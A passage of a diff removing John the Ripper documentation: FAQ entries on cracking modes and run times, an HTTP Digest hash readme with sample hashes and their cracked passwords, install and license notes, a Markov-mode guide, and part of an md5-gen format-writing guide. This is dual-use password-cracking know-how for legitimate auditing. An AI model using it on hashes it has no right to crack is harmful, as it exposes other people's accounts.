||||
A: http://www.openwall.com/john/
|
||||
|
||||
Q: How can I contact you (the author)?
|
||||
A: See CONTACT.
|
||||
|
||||
|
||||
(Semi-)advanced topics.
|
||||
|
||||
Q: I've recently switched my system to MD5-based (or Blowfish-based)
|
||||
password hashes, but there are still some DES-based hashes in the
|
||||
password file. How do I handle multiple hash types in one file?
|
||||
A: Use the "--format=..." option to tell John which hashes you would
|
||||
like it to load. Unfortunately, you will have to run John for each hash
|
||||
type separately. This requirement may sometimes be avoided with the use
|
||||
of "--format=crypt", but this is not recommended. Please see the
|
||||
description of the "--format" option in OPTIONS for more detail.
|
||||
|
||||
Q: I have 10 users, but John said it loaded 15 password hashes. What's
|
||||
going on?
|
||||
A: Some extremely poorly designed hash types (Windows LM hashes and
|
||||
DES-based crypt(3) hashes known as "bigcrypt") have a property that
|
||||
allows John to split their encodings into two separate hashes
|
||||
(corresponding to "halves" of plaintext passwords) on load. John then
|
||||
proceeds to crack those hashes separately, so at a given time it might
|
||||
have only one of two halves of some passwords cracked. If interrupted
|
||||
and restarted, it would need to only load the hashes that correspond to
|
||||
uncracked password halves, so the number of such hashes is what John
|
||||
reports (in all cases, for consistency).
|
||||
|
||||
Q: Are the strings tried with "-i" ("incremental" mode) random? They
|
||||
certainly look like they are almost random.
|
||||
A: No, they are not. No single candidate password will be tried for a
|
||||
second time and the order in which they are tried is in fact very smart:
|
||||
it is based on frequencies of different trigraphs, stored and processed
|
||||
separately for each character position and for each password length.
|
||||
|
||||
Q: Why doesn't John display a progress indicator for the "incremental"
|
||||
mode?
|
||||
A: Do you really want to see a 0% all the time? As explained in MODES,
|
||||
"incremental" mode is not supposed to terminate in a reasonable time.
|
||||
(There are a few exceptions to this, so a progress indicator might be
|
||||
added at some point.)
|
||||
|
||||
Q: I am running John for 10 days and it is still not finished?!
|
||||
Q: How long should I expect John to run?
|
||||
A: It primarily depends on the cracking mode(s) and on your password
|
||||
files (in particular, the type of hashes and the number of different
|
||||
salts, if applicable). Most importantly, you should note that the
|
||||
"incremental" mode, which a default John run (with no command line
|
||||
options) proceeds with after being done with the quicker checks, is not
|
||||
supposed to terminate in a reasonable time. It is up to you to decide
|
||||
how long you're going to let it run, then consider any uncracked
|
||||
passwords strong enough. "Single crack" mode runs typically take from
|
||||
under a second to one day (depending on the type and number of password
|
||||
hashes). Wordlist mode runs may also be quick (under a second) for
|
||||
tiny wordlists and fast hashes or they may take multiple days with large
|
||||
wordlists, with word mangling rules, and with slow hash types and
|
||||
substantial numbers of different salts. The status line John reports
|
||||
whenever you hit a key includes a progress indicator (percent complete)
|
||||
for "single crack" and wordlist modes. With no cracking mode requested
|
||||
explicitly, John will start with "single crack" mode (pass 1), then
|
||||
proceed with wordlist mode (pass 2), and finally with "incremental" mode
|
||||
(pass 3). The pass numbers are reported on the status line, too. It is
|
||||
reasonable to let John reach "incremental" mode (pass 3) and run that
|
||||
for a while (some days). You will notice that John's success rate (the
|
||||
number of passwords cracked per hour or per day) will be dropping
|
||||
rapidly. When you determine that the success rate is low enough, you
|
||||
interrupt John.
|
||||
|
||||
Q: Why does John display meaningless c/s values while cracking, instead
|
||||
of real "crypts per second" rate?
|
||||
A: The values displayed by John mean combinations (of username and
|
||||
password) per second, not crypts per second. This is the effective
|
||||
cracking speed that you get on a particular set of password hashes, and
|
||||
it may be useful, for example, to tune the "--salts=..." threshold and
|
||||
other settings. If you want a benchmark of the low-level password
|
||||
hashing routines only, use "--test". (Future versions of John the
|
||||
Ripper might report effective and raw c/s rates for different time
|
||||
intervals. These won't fit on the current status line, though.)
|
||||
|
||||
Q: I just noticed that the c/s rate reported while using "incremental"
|
||||
mode is a lot lower than it is with other cracking modes. Why?
|
||||
A: You're probably running John for a few seconds only. The current
|
||||
"incremental" mode implementation uses large character sets which need
|
||||
to be expanded into even larger data structures in memory each time John
|
||||
switches to a different password length. Fortunately, this is only
|
||||
noticeable when John has just started since the length switches become
|
||||
rare after a few minutes. For long-living sessions, which is where we
|
||||
care about performance the most, this overhead is negligible. This is a
|
||||
very low price for the better order of candidate passwords tried.
|
||||
|
||||
Q: What are the "real" and "virtual" c/s rates as reported by "--test"
|
||||
(on Unix-like operating systems)?
|
||||
A: These correspond to real and virtual (processor) time, respectively.
|
||||
The two results would differ when the system is under other load, with
|
||||
the "virtual" c/s rate indicating roughly what you could expect to get
|
||||
from the same machine if it were not loaded.
|
||||
|
||||
Q: How can I test John's password hashing routines for proper operation?
|
||||
A: John always performs a self-test when you run it on a password file
|
||||
and refuses to work if an error occurs. If you need to test all of the
|
||||
low-level routines at once, use "--test".
|
||||
|
||||
Q: Does John support multi-processing or distributed processing?
|
||||
A: There's currently built-in parallel processing support (to make use
|
||||
of multiple CPUs and/or CPU cores on a single system) for OpenBSD-style
|
||||
Blowfish-based crypt(3) (bcrypt) hashes (with John's own optimized code)
|
||||
and for the underlying system's thread-safe password hashing function
|
||||
(crypt_r(3) on Linux or crypt(3C) on Solaris). The latter is only
|
||||
reasonable to use for crypt(3) hash types not yet supported by John
|
||||
natively (that is, for glibc 2.7+ SHA-crypt hashes as used by recent
|
||||
versions of Fedora and Ubuntu and for SunMD5 hashes). To use this
|
||||
limited OpenMP support, you need to make an OpenMP-enabled build of John
|
||||
by uncommenting one of the OMPFLAGS lines near the beginning of the
|
||||
Makefile. This requires GCC 4.2+ or another OpenMP-capable C compiler.
|
||||
For other hash types and/or to distribute the workload between multiple
|
||||
machines, other approaches need to be used. For a small number of nodes
|
||||
(CPUs, CPU cores, and/or machines), it is reasonable to use a manual
|
||||
approach. One of those approaches is to have your nodes try different
|
||||
password lengths. This is easily accomplished with "incremental" mode's
|
||||
"MinLen" and "MaxLen" settings (see CONFIG). Typically, you would not
|
||||
really need to split the workload for "single crack" and wordlist modes
|
||||
since these are relatively quick, although you may dedicate one node to
|
||||
those initially. You may safely run multiple instances of John in the
|
||||
same working directory, all writing to the same "pot file" (this is a
|
||||
feature). You do, however, need to assign each of them a unique session
|
||||
name, with "--session". Other approaches, such as splitting password
|
||||
files naively (without regard to salts), are typically less efficient
|
||||
(in some cases to the extent where there's no speedup from using
|
||||
multiple nodes at all). Some advanced and automated approaches are
|
||||
listed on the wiki at:
|
||||
http://openwall.info/wiki/john/parallelization
|
||||
|
||||
Q: What is the format of the crash recovery files ("john.rec", other
|
||||
.rec's)? What do the numbers mean?
|
||||
A: The format of these files is deliberately undocumented and is subject
|
||||
to change without notice. (However, each release of John the Ripper is
|
||||
likely to be able to read .rec files produced by at least the
|
||||
immediately preceding release. Whenever compatibility is broken, John
|
||||
will refuse to recover the session, leaving the .rec file intact.)
|
||||
Although the meaning of some of the numbers that get into .rec files is
|
||||
trivial to explain, it is not possible to reasonably describe some
|
||||
others without going into great detail on John internals. If you really
|
||||
need to know, read the source code.
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/FAQ,v 1.25 2011/04/27 18:02:49 solar Exp $
|
||||
|
|
@ -1,38 +0,0 @@
|
|||
HTTP Digest access authentication
|
||||
---------------------------------
|
||||
|
||||
|
||||
|
||||
- How to create the password string :
|
||||
-------------------------------------
|
||||
|
||||
|
||||
user:$MAGIC$response$user$realm$method$uri$nonce$nonceCount$ClientNonce$qop
|
||||
|
||||
'$' is use as separator, you can change it in HDAA_fmt.c
|
||||
|
||||
|
||||
Example of password string :
|
||||
|
||||
user:$response$679066476e67b5c7c4e88f04be567f8b$user$myrealm$GET$/$8c12bd8f728afe56d45a0ce846b70e5a$00000001$4b61913cec32e2c9$auth
|
||||
|
||||
Here the magic is '$response$'
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
- Demonstration :
|
||||
-----------------
|
||||
|
||||
Tested on a : AMD Athlon(tm) 64 Processor 3000+
|
||||
|
||||
$ cat ./htdigest
|
||||
moi:$response$faa6cb7d676e5b7c17fcbf966436aa0c$moi$myrealm$GET$/$af32592775d27b1cd06356b3a0db9ddf$00000001$8e1d49754a25aea7$auth
|
||||
user:$response$679066476e67b5c7c4e88f04be567f8b$user$myrealm$GET$/$8c12bd8f728afe56d45a0ce846b70e5a$00000001$4b61913cec32e2c9$auth
|
||||
|
||||
$ ./john ./htdigest
|
||||
Loaded 2 password hashes with 2 different salts (HTTP Digest access authentication [HDAA-MD5])
|
||||
kikou (moi)
|
||||
nocode (user)
|
||||
guesses: 2 time: 0:00:01:27 (3) c/s: 670223 trying: nocode
|
||||
|
|
@ -1,70 +0,0 @@
|
|||
Installing John the Ripper.
|
||||
|
||||
First of all, most likely you do not need to install John the Ripper
|
||||
system-wide. Instead, after you extract the distribution archive and
|
||||
possibly compile the source code (see below), you may simply enter the
|
||||
"run" directory and invoke John from there.
|
||||
|
||||
System-wide installation is also supported, but it is intended for use
|
||||
by packagers of John for *BSD "ports", Linux distributions, etc., rather
|
||||
than by end-users. (If you're in fact preparing a package of John,
|
||||
please refer to the JOHN_SYSTEMWIDE setting in src/params.h.)
|
||||
|
||||
You may have obtained the source code or a "binary" (pre-compiled)
|
||||
distribution of John the Ripper. On Unix-like systems, it is typical
|
||||
to get the source code and compile it into "binary" executables right
|
||||
on the system you intend to run John on. On DOS and Windows, however,
|
||||
it is typical to get a binary distribution which is ready for use.
|
||||
|
||||
The following instructions apply to the source code distribution of
|
||||
John only. If you have a binary distribution, then there's nothing
|
||||
for you to compile and you can start using John right away.
|
||||
|
||||
|
||||
Compiling the sources on a Unix-like system.
|
||||
|
||||
Enter the directory into which you extracted the source code
|
||||
distribution of John. Enter the "src" subdirectory and invoke "make"
|
||||
to obtain a list of operating systems for which specific support
|
||||
exists:
|
||||
|
||||
cd src
|
||||
make
|
||||
|
||||
Note the make target for your system and type:
|
||||
|
||||
make clean SYSTEM
|
||||
|
||||
where SYSTEM is the appropriate make target. Alternatively, if your
|
||||
system is not listed, use:
|
||||
|
||||
make clean generic
|
||||
|
||||
If everything goes well, this will create the executables for John and
|
||||
its related utilities under "../run/". You can change directory to
|
||||
there and start John, like this:
|
||||
|
||||
cd ../run
|
||||
./john --test
|
||||
|
||||
Alternatively, you may copy the entire "run" directory to anywhere you
|
||||
like and use John from there.
|
||||
|
||||
|
||||
A note on moving binaries between systems.
|
||||
|
||||
With the "generic" make target, certain machine hardware performance
|
||||
parameters are detected at compile time. Additionally, some OS-specific
|
||||
make targets tell the C compiler to generate and optimize code for the
|
||||
machine's specific CPU type (this currently applies to C compilers other
|
||||
than gcc only). If you then move the binary executable to a different
|
||||
machine, you might not get the best performance or the program might
|
||||
not run at all if the CPU lacks features that the C compiler assumed it
|
||||
would have. Thus, it is recommended to recompile John on each system if
|
||||
you use one of these make targets.
|
||||
|
||||
Since Linux and *BSD distributions' packages of John typically use make
|
||||
targets other than "generic" and since they typically use gcc, they are
|
||||
usually not affected by this potential problem.
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/INSTALL,v 1.5 2010/05/27 13:37:48 solar Exp $
|
||||
|
|
@ -1,42 +0,0 @@
|
|||
John the Ripper copyright and license.
|
||||
|
||||
John the Ripper password cracker,
|
||||
Copyright (c) 1996-2011 by Solar Designer.
|
||||
|
||||
This version of John the Ripper is hereby being made available to you
|
||||
under the terms of the GNU General Public License version 2 as published
|
||||
by the Free Software Foundation.
|
||||
|
||||
John the Ripper is distributed in the hope that it will be useful, but
|
||||
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
General Public License for more details.
|
||||
|
||||
|
||||
Relaxed terms for certain components.
|
||||
|
||||
In addition or alternatively to the license above, the following
|
||||
components are available to you under more relaxed terms:
|
||||
|
||||
As the copyright holder for the bcrypt (Blowfish-based password hashing)
|
||||
implementation found in John the Ripper, I have placed a derived version
|
||||
of this implementation in the public domain. This derived version may
|
||||
be obtained at:
|
||||
|
||||
http://www.openwall.com/crypt/
|
||||
|
||||
The intent is to provide modern password hashing for your servers and
|
||||
your software (where the GPL restrictions could be a problem).
|
||||
|
||||
Additionally, I have placed the CRC-32 implementation (crc32.c, crc32.h)
|
||||
in the public domain.
|
||||
|
||||
|
||||
Commercial licensing.
|
||||
|
||||
Commercial licenses (non-GPL) are available upon request.
|
||||
|
||||
--
|
||||
Alexander Peslyak aka Solar Designer <solar at openwall.com>
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/LICENSE,v 1.12 2011/06/22 13:03:43 solar Exp $
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
This patch for John the Ripper MPI implementation is a continuation of
|
||||
Ryan Lim's original patch against 1.6.x, later maintained by John
|
||||
Anderson at bindshell.net, and modified by AoZ and magnum. It is
|
||||
licensed under the same terms as John the Ripper itself.
|
||||
|
|
@ -1,122 +0,0 @@
|
|||
BASIC USAGE
|
||||
The Markov mode is based from [1], tested and applied to "classical" password
|
||||
cracking in [2]. This mode similar to the "wordlist" mode because it will only
|
||||
crack a fixed quantity of passwords. Its parameters are:
|
||||
|
||||
--markov:LEVEL:START:END:LENGTH
|
||||
|
||||
Where:
|
||||
* LEVEL is the "Markov level". This value is the maximum strength of passwords
|
||||
that are going to be cracked. When LEVEL increases, the quantity of passwords
|
||||
that are going to be tested increases exponentially.
|
||||
* START is the index of the first password that is going to be tested, starting
|
||||
with 0.
|
||||
* END is the index of the last password that is going to be tested. When it is
|
||||
set to 0, it will represent the last possible password.
|
||||
* LENGTH is the maximum length of the tested passwords.
|
||||
|
||||
using --markov:100:0:0:12 will let john check every password whose length is 12
|
||||
or less and whose "Markov strength" is 100 or less.
|
||||
|
||||
|
||||
SELECTING THE PARAMETERS
|
||||
The "LEVEL" parameter should be selected based on the desired maximum running
|
||||
time. In order to select the appropriate LEVEL, the following steps should be
|
||||
followed:
|
||||
1/ Run the -single and -wordlist modes of john, as they will find many passwords
|
||||
for a low price
|
||||
2/ Run john with a low markov level on the file, using the time utility. For
|
||||
example:
|
||||
*******************************************************************************
|
||||
time john -markov:180 test
|
||||
Loaded 156 password hashes with no different salts (NT LM DES [128/128 BS SSE2])
|
||||
Warning: MaxLen = 12 is too large for the current hash type, reduced to 7
|
||||
MKV start (lvl=180 len=7 pwd=30449568)
|
||||
guesses: 0 time: 0:00:00:10 99% c/s: 475013K trying:
|
||||
|
||||
real 0m10.707s
|
||||
user 0m10.621s
|
||||
sys 0m0.012s
|
||||
*******************************************************************************
|
||||
This means that john can test 2.8M (30449568/10.707) passwords / seconds. It
|
||||
should be noted that with salted passwords the cracking speed will increase with
|
||||
every cracked password. This number should be corrected based on the experience
|
||||
of the user.
|
||||
3/ Evaluate the quantity of passwords that could be cracked during the selected
|
||||
time. Using the previous example, a cracking time of 3 hours will lead to a
|
||||
quantity of passwords of 30714M passwords (30449568/10.707*3600*3).
|
||||
4/ Use the genmkpwd command to find the corresponding level. Using the previous
|
||||
example, with a maximum password length of 12 (stupid because LM has a maximum
|
||||
length of 7 ...):
|
||||
*******************************************************************************
|
||||
genmkvpwd stats 0 12
|
||||
[...]
|
||||
lvl=245 (5904 Kb for nbparts) 26 G possible passwords (26528306250)
|
||||
lvl=246 (5928 Kb for nbparts) 29 G possible passwords (29373638087)
|
||||
lvl=247 (5952 Kb for nbparts) 32 G possible passwords (32524537496)
|
||||
[...]
|
||||
*******************************************************************************
|
||||
Here, the selected level will be 246 (the higher level where the number of
|
||||
possible passwords is less than 30714M).
|
||||
5/ Run john:
|
||||
*******************************************************************************
|
||||
john -markov:246:0:0:12 test
|
||||
*******************************************************************************
|
||||
|
||||
|
||||
DISTRIBUTING WORK
|
||||
The START and END parameter could be used to distribute work among many CPUs.
|
||||
The preferred method is to evaluate the combined cracking speed of all CPUs
|
||||
(adding the step 2 result for every CPUs available) and follow the previous
|
||||
method.
|
||||
At step 5, share the cracking space among all CPUs, where is share is
|
||||
proportionnal with the CPU's cracking speed.
|
||||
|
||||
|
||||
CONFIGURATION OPTIONS
|
||||
New options are available in the john.conf file:
|
||||
Statsfile - This is the path of the "stat" file.
|
||||
MkvLvl - the default level
|
||||
MkvMaxLen - the default length
|
||||
|
||||
|
||||
WHAT IS THE STAT FILE?
|
||||
The markov mode is based on statistical data from real passwords. This data is
|
||||
stored in the "stat" file. In order to generate a custom stat file, it is
|
||||
recommanded to use the new calc_stat command:
|
||||
|
||||
./calc_stat "dictionnary file" stats
|
||||
|
||||
|
||||
MKVCALCPROBA USAGE
|
||||
This program is used to generate statistics about cracked passwords. It accepts
|
||||
as input the "stat" file and a file with a single cracked password per line.
|
||||
Here is a sample output:
|
||||
|
||||
*******************************************************************************
|
||||
./mkvcalcproba stats /tmp/passwordlist
|
||||
test 33+16+28+20 97 4 40030907 45
|
||||
password 29+16+30+22+51+25+24+30 227 8 2698006565378672 177
|
||||
32'[[! 55+24+98+1000+23+29 1229 6 39949021871 1169
|
||||
charsetsize = 92
|
||||
*******************************************************************************
|
||||
|
||||
Its output is tab separated and should open nicely in spreadsheets. Here is the
|
||||
meaning of the column:
|
||||
1/ Cracked password, reprinted from the file
|
||||
2/ Sum of all "markov probabilities" of every letter of the word. This is
|
||||
supposed to help identify which parts of the password makes them strong. The
|
||||
number "1000" is written when no 1st/2nd letter combinations were found in the
|
||||
stat file (for exemple ' then [ here).
|
||||
3/ Markov strength
|
||||
4/ Password length
|
||||
5/ Rank when bruteforced "stupidly" (a, b, c, ..., aa, ab, ac ...) considering
|
||||
that letters are ordered given their appearance probability and the given
|
||||
charsetsize (92)
|
||||
6/ Markov strength of the password where the two first letters are removed
|
||||
|
||||
|
||||
REFERENCES
|
||||
|
||||
[1] http://www.cs.utexas.edu/~shmat/shmat_ccs05pwd.ps
|
||||
[2] http://actes.sstic.org/SSTIC07/Password_Cracking/
|
||||
File diff suppressed because it is too large
Load Diff
|
|
@ -1,480 +0,0 @@
|
|||
For most hashes where MD5 is used, building a proper md5 format is likely
|
||||
not the best bet overall. A format is not trivial. It requires maintainance
|
||||
and will likely requires specific enhancements to get it to perform
|
||||
optimally on all hardware. Likely there will need to be 'generic' C
|
||||
code done, then it will need code to tie it into CPU specific optimizations,
|
||||
such as SSE, MMX, intrisic SSE, GPU, ... ... ... This will also mean that
|
||||
to stay up to date, the format will require ongoing work and mainainance.
|
||||
|
||||
However, there is one format which may reduce a lot of this maintainance
|
||||
work to very little. Now, that format itself will need to be kept up to
|
||||
date, but any formats that are built upon its internal workings. That
|
||||
format is md5-gen. In this 'format', there is a scripting language, where
|
||||
a format developer only need to describe the actual operations properly,
|
||||
and the format is 'done', and working.
|
||||
|
||||
This document will go over how to 'build' a format that uses this md5-gen
|
||||
format, how to optimize it to work faster, and how to build a 'thin'
|
||||
quasi format which insulates the end user from the md5-gen format line
|
||||
building.
|
||||
|
||||
**** Introduction ****
|
||||
|
||||
To start off with, a little background on 'how' and 'where' to build the
|
||||
scripts that run md5-gen, what interanal data structures are available to
|
||||
be used.
|
||||
|
||||
The 'where' which a format developer can easily build into john, is to add a
|
||||
new md5-gen format 'script', into john.ini file (john.conf). This
|
||||
file usually is located in the current directory where john is run out
|
||||
of (but the --config=file can override the default behavior). Within the
|
||||
john.conf, a new 'section' can be added for a md5 genercic format. The
|
||||
new 'section' will be set by using this section naming:
|
||||
|
||||
[List.Generic:md5_gen(NUM)]
|
||||
|
||||
You replace the NUM with the sub-format number (from 1001 to 9999).
|
||||
Pick a number that is not used.
|
||||
|
||||
Within this 'section', there will be multiple lines added. These lines
|
||||
are primarily of the form: Type=Value
|
||||
|
||||
The actual contents of these scripts will be addressed later. That will
|
||||
be the 'How', and preforming this is actually outside of the intro section.
|
||||
|
||||
The 'Data' and runtime information is this:
|
||||
|
||||
Inside of the md5-gen format, there are 2 input buffers (actually ALL data
|
||||
is arrays of 128 of each buffer type). There is input1 and input2 buffers.
|
||||
The main operations on these buffers is to clear them, and to append data,
|
||||
to build string which will later be md5 hashed.
|
||||
|
||||
There are also 2 output buffers. These buffers will receive the md5 hashing
|
||||
from the 2 input buffers. NOTE, when the format processing is complete, the
|
||||
results MUST be placed into output1 buffer. This is where all of the comparison
|
||||
functions will check against.
|
||||
|
||||
In the format, there is a salt (if the format is salted). There may also be
|
||||
a second salt value.
|
||||
|
||||
There are also 'keys' value(s). These are the passwords being tested at this
|
||||
given time.
|
||||
|
||||
There are also 8 'constant' strings which can be used within a format. A
|
||||
format such as md5-po has a couple of constants within it.
|
||||
|
||||
There are also numerous optimization 'flags' which do special things when
|
||||
loading keys or salts, and there are numourous special 'optimization' primative
|
||||
functions within the format, for speedup of certain operations.
|
||||
|
||||
**** Simple format building ****
|
||||
|
||||
We will start out with a few simple formats, and simply 'show' how to build
|
||||
a straight forward script. The scripts may or may not be optimal. Later
|
||||
we will optimize these somewhat. When building the formats here, there will
|
||||
be comments interspersed, listing just what is being done, and why.
|
||||
|
||||
we will build these formats:
|
||||
md5_gen(1030) md5($p.$p)
|
||||
md5_gen(1031) md5($s.md5($p).$p)
|
||||
md5_gen(1032) md5(md5($s).md5($p).$p)
|
||||
|
||||
[List.Generic:md5_gen(1030)]
|
||||
Expression=md5_gen(1030): md5($p.$p)
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Test=md5_gen(1030)42b72f913c3201fc62660d512f5ac746:test1
|
||||
|
||||
Here is the exact same format, with some comments added, describing the
|
||||
sub-sections, and exactly what is being done.
|
||||
|
||||
#first line is the section name. It MUST be of the format shown.
|
||||
[List.Generic:md5_gen(1030)]
|
||||
#
|
||||
#the next line, is a required line. It serves 2 purposes. It is output
|
||||
#in john, when the format 'starts'. Also, the md5_gen(#) part is used
|
||||
#to destinguish this exact format (so the command line of --sub=md5_gen(1030)
|
||||
#would specify this and only this format)
|
||||
#
|
||||
Expression=md5_gen(1030): md5($p.$p)
|
||||
#
|
||||
#This is the set of functions. This is the ONLY section of the format
|
||||
#where order IS important. The functions ARE handled one after the
|
||||
#other, from top to bottom, to perform the string operations, and md5
|
||||
#operations which are needed to perform the hash of this format
|
||||
#The functions ARE a required part of the format.
|
||||
#
|
||||
#first step, clean the input. All work for this format is done using
|
||||
#only input 1 and output 1 buffers.
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
#
|
||||
#Step 2, append the keys. Note, the buffer is clean, so this is simply
|
||||
#the same as Input=keys (but required 2 steps, the clean and append keys).
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
#
|
||||
#Step 3, append keys again (the format is ($p.$p) or keys appended to keys.
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
#
|
||||
#Step 4, final step performs md5 of $p.$p This will properly leave the
|
||||
#results in output1
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
#
|
||||
#This is test string. These ARE required. You can provide more than
|
||||
#one. 5 or 6 are best, to make sure the format is valid.
|
||||
#
|
||||
Test=md5_gen(1030)42b72f913c3201fc62660d512f5ac746:test1
|
||||
|
||||
Ok, here is the second format. The format being done is md5($s.md5($p).$p)
|
||||
Here are a few comments about this format:
|
||||
1. There is a Flag= value. This is because this is a Salted format. This
|
||||
REQUIRES the MGF_SALTED flag.
|
||||
2. We only use input 1 and output 1.
|
||||
3. There are a couple of calls to crypt (md5). The first simply gets
|
||||
md5($p) and puts it into output1, which will later be appeneded in
|
||||
base-16 format as we build our string.
|
||||
4. After the first crypt (md5), we clear our input buffer, then put
|
||||
the salt in, append the base-16 of md5($p), and then append $p
|
||||
5. Finally, and call to crypt is done, which leaves the results in
|
||||
output1, so the rest of the md5-gen format can properly compare it.
|
||||
|
||||
[List.Generic:md5_gen(1031)]
|
||||
Expression=md5_gen(1031): md5($s.md5($p).$p)
|
||||
Flag=MGF_SALTED
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_salt
|
||||
Func=MD5GenBaseFunc__append_from_last_output_as_base16
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Test=md5_gen(1031)a459f60614498dbdd9a79dcc9c538749$aabbccdd:test1
|
||||
|
||||
|
||||
Now, here is the final format: md5(md5($s).md5($p).$p)
|
||||
|
||||
[List.Generic:md5_gen(1032)]
|
||||
Expression=md5_gen(1032): md5(md5($s).md5($p).$p)
|
||||
Flag=MGF_SALTED
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_salt
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Func=MD5GenBaseFunc__clean_input2
|
||||
Func=MD5GenBaseFunc__append_keys2
|
||||
Func=MD5GenBaseFunc__crypt2
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_from_last_output_as_base16
|
||||
Func=MD5GenBaseFunc__append_from_last_output2_to_input1_as_base16
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Test=md5_gen(1032)042d1f15ed57929a2ac8ee4f0a924679$aabbccdd:test1
|
||||
|
||||
Ok, now that these have been built, here are a few 'benchmarks' listing
|
||||
that they are WORKING, and what speed they are working:
|
||||
|
||||
Here is MinGW build 'x86'
|
||||
|
||||
john_x86 -test -for=md5-gen -sub=md5_gen(1030)
|
||||
Benchmarking: md5_gen(1030) md5_gen(1030): md5($p.$p) [128x1 (MD5_Go)]... DONE
|
||||
Raw: 3530K c/s
|
||||
|
||||
john_x86 -test -for=md5-gen -sub=md5_gen(1031)
|
||||
Benchmarking: md5_gen(1031) md5_gen(1031): md5($s.md5($p).$p) [128x1 (MD5_Go)]... DONE
|
||||
Many salts: 1945K c/s
|
||||
Only one salt: 1890K c/s
|
||||
|
||||
john_x86 -test -for=md5-gen -sub=md5_gen(1032)
|
||||
Benchmarking: md5_gen(1032) md5_gen(1032): md5(md5($s).md5($p).$p) [128x1 (MD5_Go)]... DONE
|
||||
Many salts: 1016K c/s
|
||||
Only one salt: 1031K c/s
|
||||
|
||||
|
||||
Here is MinGW build of SSE2
|
||||
|
||||
john_sse2 -test -for=md5-gen -sub=md5_gen(1030)
|
||||
Benchmarking: md5_gen(1030) md5_gen(1030): md5($p.$p) SSE2 [SSE2 32x4 (.S)]... DONE
|
||||
Raw: 7250K c/s
|
||||
|
||||
john_sse2 -test -for=md5-gen -sub=md5_gen(1031)
|
||||
Benchmarking: md5_gen(1031) md5_gen(1031): md5($s.md5($p).$p) SSE2 [SSE2 32x4 (.S)]... DONE
|
||||
Many salts: 5065K c/s
|
||||
Only one salt: 4436K c/s
|
||||
|
||||
john_sse2 -test -for=md5-gen -sub=md5_gen(1032)
|
||||
Benchmarking: md5_gen(1032) md5_gen(1032): md5(md5($s).md5($p).$p) SSE2 [SSE2 32x4 (.S)]... FAILED (get_hash[0](0))
|
||||
|
||||
|
||||
Here is some timings to check against:
|
||||
|
||||
john_x86 -test -for=md5-gen -sub=md5_gen(0)
|
||||
Benchmarking: md5_gen(0): md5($p) (raw-md5) [128x1 (MD5_Go)]... DONE
|
||||
Raw: 4005K c/s
|
||||
|
||||
john_sse2 -test -for=md5-gen -sub=md5_gen(0)
|
||||
Benchmarking: md5_gen(0): md5($p) (raw-md5) SSE2 [SSE2 32x4 (.S)]... DONE
|
||||
Raw: 10740K c/s
|
||||
|
||||
|
||||
**** Optimizations of prior formats ****
|
||||
|
||||
For format 1030, the speed should be very close to that of md5_gen(0).
|
||||
In both formats, there is only 1 call to md5(). However, we are seeing that the
|
||||
(1030) is slower than (0). The explanation of this, is that the (0) format has
|
||||
an optimization used, which we can not use in the (1030). The (1030) is likely
|
||||
about as optimal as it can be made in the current md5-gen format. The optimization
|
||||
for format (0) is: Flag=MGF_KEYS_INPUT What that does, is to place the keys
|
||||
directly into the input field, and then later, when john gets the keys back (it
|
||||
does this if a hash is cracked), john gets them from the input. In the (1030)
|
||||
format, we load the keys, into the 'keys' arrays. We then have to call a function
|
||||
to clean input buffer 1, and to append the keys (twice). Thus, what we have is
|
||||
additional memory movement, and that slows things down. However, to use the
|
||||
MGF_KEYS_INPUT optimization, we would have had to keep the input1 buffer prestine
|
||||
and ONLY put in the keys (passwords). Since we had to append the keys twice,
|
||||
we simply 'blew' that requirement, and thus, could NOT use it. At a later
|
||||
time, we will show a format WHERE we can use this optimization.
|
||||
|
||||
For format 1031, there also appears to be no optimizations available.
|
||||
|
||||
For 1032, there are optimizations. In this format, we notice that we have
|
||||
this sub expression: md5($s). Well, there is an optimization, which when it
|
||||
loads the input file, it converts all salts into md5($s) and uses that value
|
||||
instead. So, at startup time, we perform md5 hashes of all salts, but at
|
||||
runtime, we simply place the salt into the building string, instead of performing
|
||||
a MD5 on the salt. So, in the 1032, we had 3 calls to crypt. By using this
|
||||
optimization, we can reduce that to 2 crypts. The starting format is:
|
||||
md5(md5($s).md5($p).$p) This optimization makes the format 'behave' at
|
||||
runtime, like it is md5($s.md5($p).$p), which was format 1031. Note, after
|
||||
we make this optimzation, the timings will be almost identical to the 1031
|
||||
timings. Also note, the Test string for 1032 and 1042 are exactly the
|
||||
same. These are the same formats. It is just that 1042 performs fewer
|
||||
crypt calls per test. Also note, in the 'original' run of SSE2, the 1032
|
||||
format failed. This failure, is due to the SSE2 / MMX code only working
|
||||
for strings up to 54 bytes (optimization reason). The length of this string:
|
||||
md5($s).md5($p) is 64 bytes by itself, and we also append $p to that. Thus,
|
||||
our string is OVER 54 bytes in length, and thus, can not be used in SSE2
|
||||
mode. We do have a couple work arounds for this, to get it working properly
|
||||
on SSE2 builds. We can use a flag which simply stops SSE2 dead in its tracks
|
||||
(and preforms all work using x86 code). This is flag MGF_NOTSSE2Safe
|
||||
|
||||
[List.Generic:md5_gen(1042)]
|
||||
